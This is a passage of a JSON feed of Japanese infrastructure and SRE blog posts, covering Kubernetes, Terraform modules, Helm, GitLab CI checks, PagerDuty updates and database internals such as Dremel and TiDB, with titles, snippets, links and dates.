Bootアプリケーションを立ち上げClou...","link":"https://zenn.dev/satohjohn/articles/25bc5879de7832","isoDate":"2023-06-28T12:03:00.000Z","dateMiliSeconds":1687953780000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"ロクに勉強してこなかったエンジニアが輪読会参加とかPCA受験に向けて勉強とかしてみた話","contentSnippet":"この記事について40歳でフリーランスから転職をきっかけに会社員エンジニアになって、社内のエンジニアの熱意に影響を受けて勉強をはじめてみた中年エンジニアの感想とか気づきとかです。先に結論勉強する…","link":"https://qiita.com/bayobayo0324/items/56f93f50fa0115dc4d6d","isoDate":"2023-06-27T12:31:17.000Z","dateMiliSeconds":1687869077000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"PagerDutyがたくさん機能追加しているみたいなのでまとめてみた","contentSnippet":"はじめに PagerDutyはインシデントの管理、オンコール通知のサービスとして、とても優秀なサービスです。直近も、様々な新機能が出ていますが、旧機能から新機能への移行も同時に行われています。 弊社では、PagerDut […]The post PagerDutyがたくさん機能追加しているみたいなのでまとめてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pagerduty-release-updates/","isoDate":"2023-06-27T06:38:36.000Z","dateMiliSeconds":1687847916000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Terraformで実践するAWS IAM Identity Center（AWS Single Sign-On）のユーザー管理戦略","contentSnippet":"はじめにAWS IAM Identity Center（AWS Single Sign-On）を使用して、ユーザー管理を考えていく上で、Terraformを使用して構成管理を実現しようと思います。作成したコードはgithub上に上がっているので、ご参考ください…","link":"https://qiita.com/yokoo-an209/items/569ac1ba517b076e8cde","isoDate":"2023-06-21T04:05:23.000Z","dateMiliSeconds":1687320323000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"アプリ開発者のための kubectl 講座","contentSnippet":"これは何Kubernetes クラスタ管理者とアプリケーション開発者が分業しているプロジェクトで，開発者が必ずしも Kubernetes に詳しくない場合を想定し，開発時に使いそうな kubectl のコマンドをまとめたものです。クラスタ管理者から開発者にこのドキュメントを適宜改変して渡し，開発者がある程度自立して操作できるようになることで，管理者への問い合わせ負荷を減らすのが狙いです。場合によってはハンズオンで講座を開いてもよいでしょう。 ドキュメント案ここでは Amazon EKS でクラスタを構築する場合の例を示します。別のインフラに構築している場合は適宜書き換え...","link":"https://zenn.dev/toshikish/articles/6a06017747cbba","isoDate":"2023-06-19T06:03:18.000Z","dateMiliSeconds":1687154598000,"authorName":"toshikish","authorId":"toshikish"},{"title":"夏に向けて、体もコンテナイメージも減量（軽量化）させよう！","contentSnippet":"はじめにdockerで構築しているNext.jsのフロントエンドアプリケーションのimageをAmazon ECRにpushしようとしたときに、pushのあまりの遅さにびっくりしたのがことの発端で…","link":"https://qiita.com/yokoo-an209/items/0297808af40c1a74928e","isoDate":"2023-06-19T02:46:48.000Z","dateMiliSeconds":1687142808000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Terraform 静的検査ツール比較","contentSnippet":"対象tfsectflintKICSCheckovSnyk tfsechttps://github.com/aquasecurity/tfsechttps://aquasecurity.github.io/tfsec/v1.28.1 特徴CI系公式のdocker imageがあるhttps://github.com/aquasecurity/tfsec#use-with-dockerGitHub Actionがあるhttps://github.com/aquasecurity/tfsec-pr-commenter-actionGitH...","link":"https://zenn.dev/tayusa/articles/9829faf765ab67","isoDate":"2023-06-15T17:00:00.000Z","dateMiliSeconds":1686848400000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"editcap で tcpdump のキャプチャファイルから指定の時間帯を切り出す","contentSnippet":"ちょっと大きめ (時間範囲の広い) pcap ファイルがあって、wireshark で見るにしてもちょっと大きすぎるなということがありました。 見たい時間帯だけに絞ったファイル","link":"https://blog.1q77.com/2023/06/editcap/","isoDate":"2023-06-15T14:46:42.000Z","dateMiliSeconds":1686840402000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"GitHub の Reusable workflow で working-directory に変数を使う","contentSnippet":"やりたいことGitHub Actions の reusable workflow で，作業ディレクトリを入力変数で変えたい場合を考えます。on: workflow_call: inputs: workdir: required: true type: string うまくいかない方法ワークフロー全体のステップのデフォルト設定 defaults.run.working-directory では，現時点ではコンテキストと式が許可されていません。したがって，入力変数でディレクトリ名を受け取って上記に入れても動作しません。...","link":"https://zenn.dev/toshikish/articles/be970407f02098","isoDate":"2023-06-15T05:22:24.000Z","dateMiliSeconds":1686806544000,"authorName":"toshikish","authorId":"toshikish"},{"title":"KubeconformをGitLab CIに組み込んで、k8sのマニフェストがAPIの仕様に沿うか検査する","contentSnippet":"はじめにk8sマニフェストを普段管理していないメンバーがマニフェストのファイルを変更する場面があります。その際のレビューを出来るだけ自動化したくkubeconformを導入しました。 KubeconformマニフェストがAPIの仕様に沿うか検査してくれます。https://github.com/yannh/kubeconform自分でスキーマを用意すればIstio、Argo Rollouts、Argo Workflowsのような外部のAPIも検査できます。 スキーマの生成スキーマの生成はpythonのスクリプトが用意されているので、これをCRDを引数で渡し実行しま...","link":"https://zenn.dev/tayusa/articles/1aa96e6ceb838a","isoDate":"2023-06-11T17:19:45.000Z","dateMiliSeconds":1686503985000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"plutoをGitLab CIに組み込んで非推奨のk8s apiVersionを検出する","contentSnippet":"はじめにk8sのバージョンが上がるとAPIが再編成されたりアップグレードされたりします。新しいAPIが出ると古いAPIは非推奨になり最終的には削除されます。なので、k8sのバージョンアップ時はDeprecated API Migration Guideなどを見て非推奨のapiVersionが使われていないか確認して時には修正する必要があります。https://kubernetes.io/docs/reference/using-api/deprecation-guide/例CronJob の batch/v1beta1 -> batch/v1 plutoplu...","link":"https://zenn.dev/tayusa/articles/79a3f54d8f21bc","isoDate":"2023-06-11T17:18:13.000Z","dateMiliSeconds":1686503893000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Istio Canary Upgrade by Helm","contentSnippet":"前提helmfileを利用istioのrevisionTagを利用関係のない設定は省略 Upgradeの前にInstall ディレクトリ構成├── helmfile_istio-base.yaml├── helmfile_istio-ingressgateway.yaml├── helmfile_istiod-1-16-0.yaml└── values ├── istio-base.yaml ├── istio-ingressgateway.yaml └── istiod.yaml helmfile helmfile_isti...","link":"https://zenn.dev/tayusa/articles/03cf961e2409bd","isoDate":"2023-06-11T17:17:37.000Z","dateMiliSeconds":1686503857000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Helmに入門したので、躓いたところを振り返る","contentSnippet":"はじめにアプリのマニフェストを管理するのにKustomizeを使っていたのですが、同じようなマニフェストが乱立したので管理を楽にするためにHelmに移行しました。Helmを一から書いたのは初めてだったので、躓いた点をここに残します。 quote関数の進数変換0から始まる数値をquote関数を使って文字列にすると進数変換が起こり想定した値ではなくなる下記のようなtemplateでidとして0000000060のような値を渡すと、8進数として解釈され10進数である48に変換されてしまいます。...id: {{ .id | quote }}...0から始まる数値はtem...","link":"https://zenn.dev/tayusa/articles/e9285c6c4c09a1","isoDate":"2023-06-11T17:16:25.000Z","dateMiliSeconds":1686503785000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Go言語でNetlinkを少し触った話","contentSnippet":"Go言語でNetlinkを少し触ったのでメモ。具体的にはGo言語でNetlinkというネットワーク関連のライブラリを使ってStatic Routeを設定したりするサンプルを作ったりした。https://github.com/bells17/netlink-gosample Netlinkとは調べた範囲だと、Linuxカーネルのサブシステムの1つで、ルーティングテーブルの管理などのネットワーク関連の設定などを行う際に利用されるもの、という理解をしている。Netlinkは、Linuxカーネルとユーザ空間プロセス間の、またはカーネル内の通信を提供するためのIPC（Inter-pro...","link":"https://zenn.dev/bells17/articles/netlink-goexample","isoDate":"2023-06-08T18:03:10.000Z","dateMiliSeconds":1686247390000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes 1.27 以降のバッチ処理の改善","contentSnippet":"Kubernetes 1.27 以降で実装済みまたは予定されているバッチ処理の改善に繋がる KEP や Kubernetes のサブプロジェクトの現状を見ていきます。 KEP-3673: Kubelet limit of Parallel Image Pulls!Kubernetes 1.27 時点でアルファ機能です。1.28 でベータを目指していますが、設定はデフォルトで無効化されています。Pod の起動にノードのスケールアウトが必要な場合に、Pod の起動時間の短縮が期待できます。バッチ処理の Pod が一斉に起動するケースで恩恵を受けられそうです。Kubelet は...","link":"https://zenn.dev/toversus/articles/d6065bea460871","isoDate":"2023-06-08T03:46:32.000Z","dateMiliSeconds":1686195992000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"asdf の代わりに rtx を使う","contentSnippet":"nodeenv とか rbenv とか tfenv とか XXenv がそれぞれ .xxx-version というファイルにそのディレクトリ配下で使用する software の version を指定するという仕様があり、それらをまとめてやってくれる asdf というツールが登場","link":"https://blog.1q77.com/2023/06/rtx/","isoDate":"2023-06-07T01:25:11.000Z","dateMiliSeconds":1686101111000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"お前のパケットはもう死んでいる。TCPに死亡フラグを実装してみた","contentSnippet":"はじめにプロトコルの仕様などIETFが発行しているRFCにはジョークRFCというものが存在しています。伝書鳩でIP通信するとか、コーヒーポットを制御するなどが有名です。鳥類キャリアによるIPHyper Text Coffee Pot Control Protocol (HTCPCP/1.0) 日本語訳今年そんなジョークRFCに、TCPに死亡フラグを実装するというRFC9401が追加されました。The Addition of the Death (DTH) Flag to TCP 日本語訳この記事ではこのTCPに死亡フラグを実装するというRFC9401を真面目に実装してみ...","link":"https://zenn.dev/satoken/articles/golang-rfc9401","isoDate":"2023-06-07T00:32:17.000Z","dateMiliSeconds":1686097937000,"authorName":"satoken","authorId":"satoken"},{"title":"OpenAI API を利用して Terraform から構成図っぽい Mermaid を出力してくれるコマンドを作った話","contentSnippet":"前段 Sreake事業部の橋本です。 ChatGPTで話題のOpenAIのモデルは、現在画像の取り扱いはまだ発展途上です。文章から画像を作るAPIや画像入力が検討されていますが、システム運用にクリティカルに使えそうになる […]The post OpenAI API を利用して Terraform から構成図っぽい Mermaid を出力してくれるコマンドを作った話 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/mermaid-with-openai-api/","isoDate":"2023-06-06T02:44:12.000Z","dateMiliSeconds":1686019452000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Redis公式のGoクライアントライブラリrueidisを試してみた","contentSnippet":"This 記事 is 何？Twitterぼんやり見てたらRedis公式のGo用クライアントライブラリが出てたとかで、自身のプロジェクトにどの程度簡単に入れられるのかなーと思い試してみました。公式…","link":"https://qiita.com/bayobayo0324/items/8ac3e27eef360a316ad2","isoDate":"2023-05-31T12:02:25.000Z","dateMiliSeconds":1685534545000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"OLAPデータベースを支える技術","contentSnippet":"今年に入ってからCarnegie Mellon UniversityのAdvanced Database SystemsでReading Assignmentとして出ている論文リストで必須とされているものや講義資料を読みました。https://nnaka2992.hatenablog.com/archive/category/論文この記事では紹介されていた論文やAdvanced Database Systemsの講義資料・動画を振り替えることで、BigQueryやRedShift、Snowflakeといった最新の分析用データベースがどのように優れたパフォーマンスを実現しているかを考え...","link":"https://zenn.dev/nnaka2992/articles/technics_behind_analytical_database","isoDate":"2023-05-25T00:02:49.000Z","dateMiliSeconds":1684972969000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Kubernetes の運用効率化を ChatGPT-4 で実現する 障害対応編","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上秀一です。 Sreake事業部はSRE関連技術に強みを持つエンジニアによるコンサルテーションサービスを提供する事業部であり、私たちもSRE技術の調査と研究 […]The post Kubernetes の運用効率化を ChatGPT-4 で実現する 障害対応編 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-operation-with-chatgpt4/","isoDate":"2023-05-22T23:46:38.000Z","dateMiliSeconds":1684799198000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Terraform Modules で再利用できるので最高ではないでしょうか？","contentSnippet":"概要ModuleはTerraformの複数のリソースをまとめて再利用可能な単位として扱うことができます。Moduleを使うことで複雑なリソース構成を抽象化し、システムの構造の把握やリソース構成の再利用が可能になり、読みやすさや可読性が向上し、修正箇所が単一になるなどのメリットがあります。ただし、理解には初期コストが必要です。Moduleの設計では、1つの機能を持つように小さくシンプルに保つことが重要で、それが難しい場合は大抵複雑と言えます。また、公式のModuleを利用することで、自身で定義やドキュメントの整備、メンテナンスの手間を省きつつ、プロジェクトを超えて共通認識として扱えるため、Module理解のコストが減ります。しかし、どのタイミングでModuleに組み込むかの正解は、個々のプロジェクトの特性や開発チームの状況により大いに変わるでしょう。絶えず試行錯誤を繰り返しながら個々のプロジェクトごとに最適な解を見つけることが求められます。このブログではそれらの話の前にTerraform Modulesについて利用方法をまとめてみました。概要Module を利用するmoduleの使い方moduleの入力ローカルをうまく利用するmoduleの出力module を使ったときの失敗についてバージョン状態の差分は可能な限り小さくすべきアップグレードは自動されるべきファイルパスインラインブロックいい感じのデフォルトの変数最後に参考Module を利用するシステムを構築するにあたって開発、検証、本番環境をそれぞれ用意することが多いですが、Terraformを環境ごと（例：開発環境、ステージング環境、本番環境）にシンプルなWebサーバーの構成を例にしてModuleを使わないときと使ったときの構成を比較してみましょう。Terraform Configuration|--- Development Environment| |--- VM Instances (Web servers)| |--- Firewall Rules (Allow HTTP/HTTPS traffic to the web servers)| |--- Load Balancer (Balance traffic among VM instances)| |--- Storage Bucket (Store static content)|--- Staging Environment| |--- VM Instances (Web servers)| |--- Firewall Rules (Allow HTTP/HTTPS traffic to the web servers)| |--- Load Balancer (Balance traffic among VM instances)| |--- Storage Bucket (Store static content)|--- Production Environment| |--- VM Instances (Web servers)| |--- Firewall Rules (Allow HTTP/HTTPS traffic to the web servers)| |--- Load Balancer (Balance traffic among VM instances)| |--- Storage Bucket (Store static content)この構成では、 環境毎にVM Instances 、Firewall Rules 、 Load Balancer 、Storage Bucket などのリソースが定義されていて環境間で異なるリソース設定を利用します。一方、moduleを使用した場合の構成は以下のようになります。Terraform Configuration|--- modules| |--- user_service_cluster| |--- main.tf| | |--- VM Instances (Web servers)| | |--- Firewall Rules (Allow HTTP/HTTPS traffic to the web servers)| | |--- Load Balancer (Balance traffic among VM instances)| | |--- Storage Bucket (Store static content)| |--- variables.tf| |--- output.tf|--- Development Environment| |--- User-Service-Cluster Module (source: ../modules/user_service_cluster)|--- Staging Environment| |--- User-Service-Cluster Module (source: ../modules/user_service_cluster)|--- Production Environment| |--- User-Service-Cluster Module (source: ../modules/user_service_cluster)この構成では、 user_service_cluster moduleのmain.tfファイル内にVM Instances 、Firewall Rules 、 Load Balancer 、Storage Bucket などのリソースが定義されています。各環境はこのuser_service_clustermoduleを参照しており、環境間で共通のリソース設定を再利用します。これによって再利用性、可読性が上がり維持管理性を高める事ができると思います。moduleの使い方Terraformの moduleは、リソース設定の再利用可能な部品で、コードの抽象化と組織化をサポートします。 moduleは一つ以上のリソースを定義し、それらをまとめて管理することができます。 moduleを使用するためには、 moduleブロックをmain.tf（またはその他の.tfファイル）に追加し、そこでmoduleのソースと任意の入力変数を指定します。以下に、user_service_cluster moduleを使用するための基本的なmodule ブロックの例を示します。module \\"user_service_cluster\\" { source = \\"../modules/user_service_cluster\\" instance_type = \\"n1-standard-1\\" instance_count = 3 firewall_rules = { allow_http = true allow_https = true } load_balancer_config = { protocol = \\"HTTP\\" port = 80 } bucket_name = \\"dev-bucket\\"}source属性にmoduleのソースコードが存在するパスを指定しています。そして、user_service_cluster moduleが定義する各入力変数を設定しています。moduleは、そのソース内でvariableブロックを使用して入力変数を定義します。これらの入力変数は、moduleの使用者が値を提供することでmoduleの振る舞いをカスタマイズできます。また、moduleはoutputブロックを使用して出力値を定義します。出力値は、moduleの内部リソースの属性をmoduleの外部に公開するために使用されます。これにより、他のリソースやmoduleがmoduleから生成されるリソースを参照することが可能になります。module化はTerraformのコードベースを組織化し、再利用可能なコードを作成するための重要な手段です。これにより、一貫性が保たれ、メンテナンスが容易になり、エラーの可能性も低減します。moduleの入力Terraformのmoduleは再利用可能なコードブロックで、入力変数（input variables）を使用してカスタマイズできます。これらの入力変数は、moduleブロックで設定します。以下に、user_service_cluster moduleで使用する入力変数の例を示します。まず、module自体のvariables.tfファイルには以下のように入力変数を定義しますvariable \\"instance_type\\" { description = \\"The type of instance to start\\" type = string default = \\"n1-standard-1\\"}variable \\"instance_count\\" { description = \\"Number of instances to create\\" type = number default = 1}variable \\"firewall_rules\\" { description = \\"Firewall rules for instances\\" type = map(any) default = {}}variable \\"load_balancer_config\\" { description = \\"Configuration for load balancer\\" type = map(any) default = {}}variable \\"bucket_name\\" { description = \\"Name of the storage bucket\\" type = string default = \\"default-bucket\\"}そして、このmodule を呼び出す際に、具体的な値を設定します：module \\"user_service_cluster\\" { source = \\"../modules/user_service_cluster\\" instance_type = \\"n1-standard-1\\" instance_count = 3 firewall_rules = { allow_http = true allow_https = true } load_balancer_config = { protocol = \\"HTTP\\" port = 80 } bucket_name = \\"dev-bucket\\"}上記の例では、user_service_cluster moduleはsourceで指定されたソースからロードされ、instance_type、instance_count、firewall_rules、load_balancer_config、bucket_nameという入力変数を設定しています。module に入力変数を提供することで、module の動作をカスタマイズし、異なる環境や条件で再利用することが可能になります。ローカルをうまく利用するTerraformのlocalsブロックを使用すると、再利用可能な内部変数をmodule内で定義することができます。localsはmodule内で共有され、module外からは参照できません。以下に、user_service_cluster module のlocalsの例を示します。この例では、HTTPポート、任意のポート、任意のプロトコル、TCPプロトコル、そして全てのIPアドレスをローカル変数として定義しています。locals { http_port = 80 any_port = 0 any_protocol = \\"-1\\" tcp_protocol = \\"tcp\\" all_ips = [\\"0.0.0.0/0\\"]}ローカル変数はlocal.の形式で参照します。以下のリソース定義では、ロードバランサーリスナーとセキュリティグループの設定にローカル変数を使用しています。resource \\"google_compute_instance\\" \\"http\\" { name = \\"web-instance\\" machine_type = \\"n1-standard-1\\" network_interface { network = \\"default\\" access_config { // Assign an ephemeral IP to the instance } } // Other configuration...}resource \\"google_compute_firewall\\" \\"default\\" { name = \\"default-firewall\\" network = \\"default\\" allow { protocol = local.tcp_protocol ports = [local.http_port] } source_ranges = local.all_ips}上記の例では、ロードバランサーリスナーとセキュリティグループでlocalsブロックに定義したローカル変数を参照しています。local.http_port、local.tcp_protocol、local.all_ipsを各リソースブロックで参照することで、コードがDRYに保たれ、より読みやすく、メンテナンスがしやすくなります。localsブロックを使用することで、コードの冗長性を減らし、module全体の一貫性を保つことができます。また、ローカル変数を使用することで、moduleの一部で使用する変数をmodule全体で共有することが可能になります。moduleの出力Terraformのmoduleは、出力変数（outputs）を提供できます。出力変数はmoduleの値を外部に公開するための手段で、moduleを使用しているコードからアクセスできます。また、Terraformがapplyコマンドを実行した後にこれらの値を表示することもできます。以下に、user_service_cluster moduleの出力変数の例を示します。この例では、output.tf にクラスタのURLとインスタンスのIDを出力しています。output \\"cluster_url\\" { description = \\"The URL of the load balancer for the cluster\\" value = \\"http://${google_compute_global_address.default.address}\\"}output \\"instance_ids\\" { description = \\"The IDs of the instances in the cluster\\" value = google_compute_instance.default.*.id}これらの出力をmodule の使用側でアクセスするためには、moduleの名前と出力の名前を組み合わせて参照します。output \\"user_service_cluster_url\\" { description = \\"The URL of the load balancer for the user service cluster\\" value = module.user_service_cluster.cluster_url}output \\"user_service_cluster_instance_ids\\" { description = \\"The IDs of the instances in the user service cluster\\" value = module.user_service_cluster.instance_ids}このようにして、moduleの出力変数を使用することで、moduleの内部データをmodule外部に公開し、他のTerraformコードがそのデータを参照できるようにします。出力変数はmodule間の情報共有を可能にし、moduleの再利用性を向上させます。Terraformはファイル名に特別な意味を持たせません。すなわち、variables.tfやoutputs.tfという名前は慣習にすぎないので、入力変数と出力変数を1つのファイルにまとめることも技術的には可能です。module を使ったときの失敗についてmodule を作る時に注意する点について実際にハマったことをベースに3つ紹介します。バージョンModuleのバージョンが異なると意図しない挙動やエラーが引き起こされる可能性があるので、バージョンを固定し実行環境を統一しましょう。Providerやパッケージにしても同じでバージョンを指定して再利用性を高めろ！！！状態の差分は可能な限り小さくすべきいつでもアップグレードを状態差分なしで行うことはできません。依存するリソースの変更やセキュリティ問題ができるだけ早くパッチを適用する必要があるなど、破壊的な変更を導入する必要がある場合があります。その場合、コストをどのように減らすかについて考える必要があります。状態の差分が少なければ、アップグレードのコストは少なくなります。破壊的な変更を導入するときは、それを文書化できるCHANGELOGやユーザーガイドを通じてユーザーに伝える必要がありますアップグレードは自動されるべきアップグレードは長期的に開発されるソフトウェアの最も重要なタスクの一つです。ただし、一般的に使用され、広く使用されているTerraform Moduleの場合、これは大きな問題でもあります。また、Moduleを頻繁に更新する場合、自動アップデートの機能を準備する必要があります。ユーザーにアップグレードを依頼しても、通常、彼らはより重要なタスクを行うためにそれを行うことはありません。そのため、代わりに、彼らのためにPRを作成します。PRがTerraformの差分がない場合に自動的にマージされるメカニズムを持っています。これと後方互換性の維持の組み合わせにより、最新バージョンのModuleを使用するユーザーの率を増やすことができますファイルパスTerraformのtemplatefile関数を使用する際、ファイルパスは絶対パスではなく相対パスを使用する必要があります。しかし、これはどのパスに対して相対的なのでしょうか？デフォルトでは、Terraformはパスを現在の作業ディレクトリに対して相対的に解釈します。そのため、terraform applyを実行しているディレクトリと同じディレクトリにTerraform設定ファイルがある場合、これはうまく動作します。しかし、別のフォルダに定義されたmodule内でtemplatefileを使用する場合、これは問題となります。この問題を解決するためには、path.moduleなどのパス参照を使用します。これを使用すると、module自体に対する相対パスが得られます。インラインブロックTerraformリソースの一部の設定は、インラインブロックか別のリソースとして定義することができます。インラインブロックとは、リソース内で設定する引数のことで、次の形式を持っています。resource \\"xxx\\" \\"yyy\\" { { [CONFIG...] }}ここでNAMEはインラインブロックの名前（例えば、ingress）、CONFIGはそのインラインブロックに特有の一つ以上の引数（例えば、from_portやto_port）です。しかし、インラインブロックと別のリソースを混在して使用すると、Terraformの設計上、設定が衝突し互いに上書きされてエラーが発生します。したがって、どちらか一方を使用する必要があります。moduleを作成する際には、別のリソースを使用することを常に推奨します。これらの注意点を理解しておくことで、Terraformのmoduleをより効果的に利用することができます。いい感じのデフォルトの変数完全にカスタマイズできるModuleには魅力がないです。Moduleの変数には、80％のユーザーをカバーするスマートデフォルト値を持つべきです。ただし、同時に、通常のユーザーとは異なる方法でModuleを使用するパワーユーザーのための設定も用意するべきです。変数を変更したときに何が起こるかは、ユーザーにとって明白で予測可能でなければなりません。この設定は適切に設計され、安易に浅いインターフェースを持つべきではありません最後にmoduleを活用することで、インフラストラクチャの再利用性と効率性が大幅に向上します。開発者は証明済み、テスト済み、文書化済みのインフラストラクチャの一部を再利用できるようになるため、迅速かつ確実にシステムを構築できます。例えば、マイクロサービスのデプロイメントを定義するmoduleを作成し、各チームが数行のコードで自身のマイクロサービスを管理できるようにすることが可能です。しかし、このようなmoduleを複数のチームで活用するためには、module内のTerraformコードは柔軟性と設定可能性が必要です。異なるチームや状況に応じて、ロードバランサーなしの単一インスタンスやロードバランサー付きの複数インスタンスといった、さまざまなデプロイメント要件を満たすことができます。Terraformの柔軟な構文を活用することで、より多機能なmoduleを設計し、インフラストラクチャの構築を一層楽しく効果的に行うことができます。また、どれぐらいの規模からmodule化するのかなど迷う場面が多いと思いますがこの辺は経験としか言えずにみんな雰囲気でやっているなぁって思いました。このブログが伸びたらもっと実装に基づいた話をしていこうと思います。ちなみにベストプラクティスなんかは俺にはわからない。自分を信じても…信頼に足る仲間を信じても…誰にもわからない…今の構成が一番変更しやすくて誇れるものならそれが正解なんだとおもう。実践Terraform　AWSにおけるシステム設計とベストプラクティス (技術の泉シリーズ（NextPublishing）)作者:野村 友規インプレスR&DAmazon参考Terraform: Up & Running; Writing Infrastructure As CodeDeveloper/Terraform/Configuration Language/Modulesterraform-module/terraform-module-blueprinthttps://registry.terraform.io/namespaces/terraform-aws-moduleshttps://registry.terraform.io/namespaces/terraform-google-modulesHashiCorp LearnModule Creation - Recommended PatternAWSとTerraformで学ぶプロダクションレディなKubernetes 技術の泉シリーズ (技術の泉シリーズ（NextPublishing）)","link":"https://syu-m-5151.hatenablog.com/entry/2023/05/19/154346","isoDate":"2023-05-19T06:43:46.000Z","dateMiliSeconds":1684478626000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"GitLab トラブル事例紹介","contentSnippet":"本ドキュメントでは、トラブルシューティングの事例を取り上げ、それぞれのトラブルの原因調査の流れと判明した原因、解決方法について記載します。 また、トラブルシューティングを円滑に進められるように心がけていることをご紹介しま […]The post GitLab トラブル事例紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gitlab-trouble-case-study/","isoDate":"2023-05-16T02:23:30.000Z","dateMiliSeconds":1684203810000,"authorName":"Sreake","authorId":"Sreake"},{"title":"現在のDremelの実装を解説した論文を読みました ","contentSnippet":"この記事の趣旨2020年に発表されたBigQueryの元となったGoogle内で利用されている分析向けデータベースであるDremelの実装を解説した論文を読みました。Dremel: A Decade of Interactive SQL Analysis at Web Scale著者についてSergey Melnik, Andrey Gubarev, Jing Jing Long, Geoffrey Romer, Shiva Shivakumar, Matt Tolton,Theo Vassilakisら2010年のDremel発表論文の著者らと、Hossein Ahmadi, Dan Delorey, Slava Min, Mosha Pasumansky, Jeff ShuteらGoogleで分析ワークロードと分散処理に関わる著者らによる論文。概要BigQueryの元となったGoogleのDremelの10年間を振り替えってアーキテクチャについて説明した論文。Dremelは現代のクラウドネイティブ分析ツールで一般的になっている、計算リソースとストレージの分解、カラムナストレージ、in situデータ分析などを統合した最初のツールである。手法SQLの採用Googleでは殆どのデータはBigTableなどNoSQLデータベースで管理されていたため、SQLを用いないデータアクセスが主流であった。しかしトランザクション型ビッグデータシステムにおける、SQLの採用に共ないDremelでもSQLを採用した。ストレージの分離メモリの分離MapReduceのシャッフルのボトルネックを回避するためにDisaggregated Memory Shuffle Systemを採用した。In situデータ分析への対応DBMSへのデータロードを必要としないデータ分析のことで、DremelではGFSに移行するときにGoogle内で共有のストレージフォーマットを使用することでGoogle内のデータに対応した。加えてGoogle Cloud StorageやGoogle Drive、MySQL、BigTableなどからのデータ取得もフェデレーションとして対応した。サーバレスアーキテクチャフォールトトレラントリスタート、仮想スケジューリングユニットによりマルチテナントかつオンデマンドなリソースを提供可能とし、低価格な利用を可能とした。現在ではサーバレスアーキテクチャを進化させ、集中型スケジューリングやShuffle Persistent Layer、柔軟なDAG実行、動的クエリ実行などを実装することでより優れたサーバレスアーキテクチャを実現した。ネストデータにおけるカラムナストレージ[[32])]Figure 5Figure 6Figure 7クエリレイテンシの最小化インタラクティブな実行のレイテンシは大きくなる。それを解決するためにDremelではスタンバイサーバプール、マルチレベル実行ツリー、列指向スキーマ表現、CPUとIO負荷のバランス調整、ファイルオペレーションの再利用、保証されたキャパシティ、適合的なクエリスケーリングにより実現している。作業時間read27:5027:50author32:024:12summary68:5026:48","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/17_dremel","isoDate":"2023-05-15T02:14:20.000Z","dateMiliSeconds":1684116860000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Connection draining for Service type LoadBalancer","contentSnippet":"はじめにService リソースは Kubernetes のサービス検出を支えるコアリソースです。Service のデータプレーンとして kube-proxy を使用している場合は、各ノード上の iptables や ipvs を設定することで L4 負荷分散を実現しています。Kubernetes は、結果整合性 (Eventual Consistency) の上に成り立つ分散システムです。Kubernetes のコントロールプレーンが Pod を削除する時に、全てのノード上のルーティングルールを更新してから Pod を削除したりはしません。削除中の Pod にもトラフィックが流...","link":"https://zenn.dev/toversus/articles/1682d275ef1bb7","isoDate":"2023-05-11T09:43:47.000Z","dateMiliSeconds":1683798227000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"2022 年の Accelerate State of DevOps Report の内容をまとめてみた","contentSnippet":"１．はじめに Sreake 事業部でインターンしている村山です。インターンをするにあたり、DevOps の理解と最近の動向を掴むことが必要であると感じ、Accelerate State of DevOps Report […]The post 2022 年の Accelerate State of DevOps Report の内容をまとめてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/accelerate-state-of-devops-report-2022/","isoDate":"2023-05-11T05:07:56.000Z","dateMiliSeconds":1683781676000,"authorName":"Sreake","authorId":"Sreake"},{"title":"TiDBで学ぶNewSQLのアーキテクチャ for Beginners","contentSnippet":"はじめにこの記事ではNewSQLの特徴であるノード間の分散とトランザクションや分断耐性などがTiDBではどのような技術によって実現されているかを説明することを目的としています。Spannerの論文が2012年に発表されてから10年以上の年月が流れ、優れた論文や実装ドキュメント、個人による解説ブログなど技術的詳細について述べた資料は多くあります。加えてこの記事を入門的なものと位置づけているため各コンポーネントを網羅的に解説するというよりは、キーコンセプトをどのように実装しているのかを実験を混じえながら動作の実現方法の解説を中心に扱います。また今回はTiDBをベースに説明し...","link":"https://zenn.dev/nnaka2992/articles/learning_tidb_internal_for_beginner","isoDate":"2023-05-11T01:18:19.000Z","dateMiliSeconds":1683767899000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"はてなブログのコードブロックを”クリップボードにコピーする方法”について","contentSnippet":"はてなブログの設定から、Markdown記法で書いた記事にコードブロックのコピーボタンを自動的に追加することができます。また、こちらのブログは完全に非公式ですし自分のブログ以外では試してません。\uD83E\uDDBE デザインの設定まず、はてなブログの管理画面にログインし、デザイン設定を開きます。\uD83E\uDDBE CSS の設定を行うデザイン設定で、「カスタマイズ」タブをクリックし、「デザインCSS」を開きます。ここで、先ほど紹介したコピーボタンのスタイルを追加します。pre.code { position: relative;}.copy-button { position: absolute; top: 4px; right: 4px; display: inline-block; padding: 8px 